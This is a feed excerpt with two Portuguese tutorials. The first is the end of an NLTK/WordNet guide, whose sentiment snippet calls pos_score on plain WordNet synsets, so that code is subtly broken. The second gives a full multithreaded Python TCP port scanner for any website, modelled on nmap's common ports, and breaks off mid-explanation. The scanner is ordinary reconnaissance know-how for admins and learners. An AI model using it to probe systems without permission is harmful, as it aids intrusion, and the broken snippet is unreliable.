&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;skillful&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;proficient&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;practiced&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;unspoiled&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;goodness&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;good&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dependable&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sound&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;right&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;safe&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;respectable&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;effective&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;trade_good&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;adept&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;good&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;full&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;commodity&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;estimable&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;honorable&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;undecomposed&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;serious&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;secure&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dear&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ripe&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;evilness&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;evil&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ill&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Calculando Similaridade Semântica
&lt;/h4&gt;

&lt;p&gt;O WordNet também permite calcular a similaridade semântica entre palavras. A similaridade é baseada na distância entre os synsets no gráfico de hipônimos/hiperônimos.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.corpus&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;

&lt;span class="n"&gt;cachorro&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;dog.n.01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;gato&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cat.n.01&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;similaridade&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cachorro&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wup_similarity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gato&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;similaridade&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será um valor de similaridade entre 0 e 1.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0.8571428571428571
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse valor indica que "dog" e "cat" são bastante similares semanticamente.&lt;/p&gt;

&lt;h4&gt;
  
  
  Filtrando Stopwords
&lt;/h4&gt;

&lt;p&gt;Stopwords são palavras comuns que geralmente não adicionam muito significado ao texto, como "e", "a", "de". Remover essas palavras pode ajudar a focar nas partes mais importantes do texto. O NLTK fornece uma lista de stopwords para várias línguas.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;nltk.corpus&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;stopwords&lt;/span&gt;

&lt;span class="n"&gt;stop_words&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stopwords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;words&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;portuguese&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Olá&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mundo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;é&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;um&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lugar&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bonito&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;palavras_filtradas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;stop_words&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavras_filtradas&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;['Olá', 'mundo', 'lugar', 'bonito']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui, as stopwords foram removidas da lista original de palavras.&lt;/p&gt;

&lt;h3&gt;
  
  
  Aplicações Práticas
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Análise de Sentimentos
&lt;/h4&gt;

&lt;p&gt;A análise de sentimentos é uma aplicação comum de PLN onde o objetivo é determinar a opinião ou emoção expressa em um texto. Tokenização e o uso de WordNet são passos importantes nesse processo.&lt;/p&gt;

&lt;p&gt;Primeiro, dividimos o texto em palavras e removemos as stopwords. Em seguida, podemos usar os synsets para entender melhor o contexto e a polaridade das palavras.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;texto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Eu amo programação em Python!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;word_tokenize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;texto&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;portuguese&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;palavras_filtradas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;stop_words&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;polaridade&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;palavra&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;palavras_filtradas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;synsets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wordnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;synsets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;por&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;synsets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;synsets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;polaridade&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pos_score&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;syn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;neg_score&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Polaridade do texto:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;polaridade&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nesse exemplo simplificado, estamos somando os scores positivos e negativos dos synsets das palavras filtradas para determinar a polaridade geral do texto.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reconhecimento de Entidades Nomeadas
&lt;/h4&gt;

&lt;p&gt;Outra aplicação é o reconhecimento de entidades nomeadas (NER), que identifica e classifica nomes de pessoas, organizações, locais, etc., em um texto.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;nltk&lt;/span&gt;
&lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;download&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;maxent_ne_chunker&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;download&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;words&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;frase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Barack Obama foi o 44º presidente dos Estados Unidos.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;palavras&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;word_tokenize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;portuguese&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;tags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pos_tag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;palavras&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;entidades&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;nltk&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ne_chunk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entidades&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O resultado será uma árvore que identifica "Barack Obama" como uma pessoa e "Estados Unidos" como um local.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusão
&lt;/h3&gt;

&lt;p&gt;Neste texto, exploramos os conceitos básicos de tokenização e uso do WordNet com a biblioteca NLTK em Python. Vimos como dividir textos em sentenças e palavras, como buscar sinônimos e antônimos, calcular similaridades semânticas, e aplicações práticas como análise de sentimentos e reconhecimento de entidades nomeadas. A NLTK é uma ferramenta poderosa para qualquer pessoa interessada em processamento de linguagem natural, oferecendo uma ampla gama de funcionalidades para transformar e analisar textos de forma eficaz.&lt;/p&gt;

</description>
      <category>programming</category>
      <category>python</category>
      <category>nltk</category>
      <category>nlp</category>
    </item>
    <item>
      <title>Como Escanear Portas em um Website com Python</title>
      <dc:creator>Moprius</dc:creator>
      <pubDate>Thu, 27 Jun 2024 00:05:12 +0000</pubDate>
      <link>https://forem.com/moprius/como-escanear-portas-em-um-website-com-python-bdm</link>
      <guid>https://forem.com/moprius/como-escanear-portas-em-um-website-com-python-bdm</guid>
      <description>&lt;p&gt;Você já deve ter ouvido falar do Nmap e de escaneamento de portas em servidores, bem, nesse script feito em Python vamos fazer algo bem semelhante, vamos verificar as portas abertas em websites. Vamos explorar um pouco de maneira simples e fácil de entender&lt;/p&gt;

&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;Portas abertas em um servidor são como portas de entrada para diferentes serviços. Saber quais portas estão abertas pode ajudar você a entender melhor a segurança do seu site ou simplesmente satisfazer sua curiosidade sobre o funcionamento interno de um site. Vamos mergulhar em um script que escaneia essas portas usando Python.&lt;/p&gt;

&lt;h2&gt;
  
  
  Código completo
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import socket
import argparse
from concurrent.futures import ThreadPoolExecutor

# Função para verificar uma única porta
def scan_port(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)  # Define um timeout de 1 segundo
    try:
        sock.connect((host, port))
        return port, True
    except (socket.timeout, socket.error):
        return port, False
    finally:
        sock.close()

# Função para escanear uma lista de portas
def scan_ports(host, ports, max_workers=100):
    open_ports = []
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = [executor.submit(scan_port, host, port) for port in ports]
        for future in futures:
            port, is_open = future.result()
            if is_open:
                open_ports.append(port)
    return open_ports

# Mapear portas para serviços comuns
port_service_map = {
    21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'domain', 80: 'http',
    110: 'pop3', 123: 'ntp', 135: 'msrpc', 139: 'netbios-ssn', 143: 'imap',
    161: 'snmp', 194: 'irc', 389: 'ldap', 443: 'https', 445: 'microsoft-ds',
    465: 'smtps', 512: 'exec', 513: 'login', 514: 'shell', 587: 'submission',
    636: 'ldaps', 873: 'rsync', 990: 'ftps', 993: 'imaps', 995: 'pop3s',
    1080: 'socks', 1194: 'openvpn', 1433: 'ms-sql-s', 1434: 'ms-sql-m',
    1521: 'oracle', 1723: 'pptp', 3306: 'mysql', 3389: 'ms-wbt-server',
    5060: 'sip', 5432: 'postgresql', 5900: 'vnc', 5984: 'couchdb', 6379: 'redis',
    6667: 'irc', 8000: 'http-alt', 8080: 'http-proxy', 8443: 'https-alt',
    8888: 'sun-answerbook', 9000: 'cslistener', 9200: 'wap-wsp', 10000: 'webmin',
    11211: 'memcached', 27017: 'mongodb'
}

def main():
    # Configurar o parser de argumentos
    parser = argparse.ArgumentParser(description="Scan ports on a specified website")
    parser.add_argument("website", help="The website to scan, e.g., www.example.com")
    args = parser.parse_args()

    # Obter o site a partir dos argumentos
    website = args.website

    # Definir as portas a serem escaneadas (ports mais comuns escaneadas pelo nmap)
    ports_to_scan = list(port_service_map.keys())

    # Obter o endereço IP do site
    try:
        host = socket.gethostbyname(website)
    except socket.gaierror:
        print(f"Não foi possível resolver o hostname: {website}")
        return

    print(f"Iniciando escaneamento de {website} ({host})...")

    # Escanear as portas e exibir as portas abertas
    open_ports = scan_ports(host, ports_to_scan)

    print(f"PORTA     ESTADO       SERVIÇO")
    for port in ports_to_scan:
        state = "aberta" if port in open_ports else "fechada"
        service = port_service_map.get(port, "unknown")
        print(f"{port:&amp;lt;9} {state:&amp;lt;12} {service}")

    print("Escaneamento concluído.")

if __name__ == "__main__":
    main()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Explicação do Script
&lt;/h3&gt;

&lt;p&gt;Nosso script utiliza algumas bibliotecas essenciais do Python: &lt;code&gt;socket&lt;/code&gt;, &lt;code&gt;argparse&lt;/code&gt; e &lt;code&gt;concurrent.futures.ThreadPoolExecutor&lt;/code&gt;. Aqui está um passo a passo do que cada parte do script faz:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Importações e Configurações Iniciais&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import socket
import argparse
from concurrent.futures import ThreadPoolExecutor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esses comandos importam os módulos necessários para o nosso script. &lt;code&gt;socket&lt;/code&gt; é usado para criar conexões de rede, &lt;code&gt;argparse&lt;/code&gt; para lidar com argumentos de linha de comando, e &lt;code&gt;concurrent.futures.ThreadPoolExecutor&lt;/code&gt; para executar tarefas em paralelo, aumentando a eficiência do nosso escaneamento de portas.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Função para Verificar uma Porta&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def scan_port(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)  # Define um timeout de 1 segundo
    try:
        sock.connect((host, port))
        return port, True
    except (socket.timeout, socket.error):
        return port, False
    finally:
        sock.close()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A função &lt;code&gt;scan_port&lt;/code&gt; tenta conectar a uma porta específica em um host. Se a conexão for bem-sucedida, a porta está aberta; caso contrário, está fechada. O timeout de 1 segundo garante que a tentativa de conexão não demore muito.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Função para Escanear Múltiplas Portas&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def scan_ports(host, ports, max_workers=100):
    open_ports = []
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = [executor.submit(scan_port, host, port) for port in ports]
        for future in futures:
            port, is_open = future.result()
            if is_open:
                open_ports.append(port)
    return open_ports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A função &lt;code&gt;scan_ports&lt;/code&gt; utiliza &lt;code&gt;ThreadPoolExecutor&lt;/code&gt; para escanear várias portas ao mesmo tempo. Ela cria uma lista de tarefas, cada uma verificando uma porta diferente, e armazena as portas abertas em uma lista.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Mapeamento de Portas para Serviços Comuns&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;port_service_map = {
    21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'domain', 80: 'http',
    110: 'pop3', 123: 'ntp', 135: 'msrpc', 139: 'netbios-ssn', 143: 'imap',
    161: 'snmp', 194: 'irc', 389: 'ldap', 443: 'https', 445: 'microsoft-ds',
    465: 'smtps', 512: 'exec', 513: 'login', 514: 'shell', 587: 'submission',
    636: 'ldaps', 873: 'rsync', 990: 'ftps', 993: 'imaps', 995: 'pop3s',
    1080: 'socks', 1194: 'openvpn', 1433: 'ms-sql-s', 1434: 'ms-sql-m',
    1521: 'oracle', 1723: 'pptp', 3306: 'mysql', 3389: 'ms-wbt-server',
    5060: 'sip', 5432: 'postgresql', 5900: 'vnc', 5984: 'couchdb', 6379: 'redis',
    6667: 'irc', 8000: 'http-alt', 8080: 'http-proxy', 8443: 'https-alt',
    8888: 'sun-answerbook', 9000: 'cslistener', 9200: 'wap-wsp', 10000: 'webmin',
    11211: 'memcached', 27017: 'mongodb'
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui, temos um dicionário que mapeia números de portas para seus serviços comuns, como FTP, SSH e HTTP. Isso ajuda a identificar rapidamente quais serviços estão rodando nas portas abertas.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Função Principal&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def main():
    # Configurar o parser de argumentos
    parser = argparse.ArgumentParser(description="Scan ports on a specified website")
    parser.add_argument("website", help="The website to scan, e.g., www.example.com")
    args = parser.parse_args()

    # Obter o site a partir dos argumentos
    website = args.website

    # Definir as portas a serem escaneadas (ports mais comuns escaneadas pelo nmap)
    ports_to_scan = list(port_service_map.keys())

    # Obter o endereço IP do site
    try:
        host = socket.gethostbyname(website)
    except socket.gaierror:
        print(f"Não foi possível resolver o hostname: {website}")
        return

    print(f"Iniciando escaneamento de {website} ({host})...")

    # Escanear as portas e exibir as portas abertas
